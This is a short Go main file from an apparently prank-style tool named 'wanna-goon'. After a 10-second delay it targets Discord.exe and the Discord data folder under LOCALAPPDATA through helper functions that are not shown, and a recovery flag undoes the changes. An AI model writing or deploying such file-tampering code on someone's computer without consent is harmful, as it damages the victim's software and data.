wanna-goon/main.go
2024-09-21 07:22:23 -07:00

57 lines
890 B
Go

package main
import (
"flag"
"fmt"
"os"
"time"
"github.com/Merith-TK/utils/debug"
)
var recovery bool
func init() {
flag.BoolVar(&recovery, "recovery", false, "Undo Fuckery")
}
func main() {
flag.Parse()
if recovery {
restoreFiles()
return
}
userdata := os.Getenv("USERPROFILE")
debug.Print(fmt.Sprintf("USERPROFILE: %s", userdata))
localAppData := os.Getenv("LOCALAPPDATA")
debug.Print(fmt.Sprintf("LOCALAPPDATA: %s", localAppData))
programs := []string{
"Discord.exe",
}
time.Sleep(10 * time.Second)
files := []string{
fmt.Sprintf("%s\\Discord", localAppData),
"file2.txt",
}
for _, program := range programs {
err := goonProgram(program)
if err != nil {
debug.Print(err)
}
}
for _, file := range files {
err := goonFiles(file)
if err != nil {
debug.Print(err)
}
}
}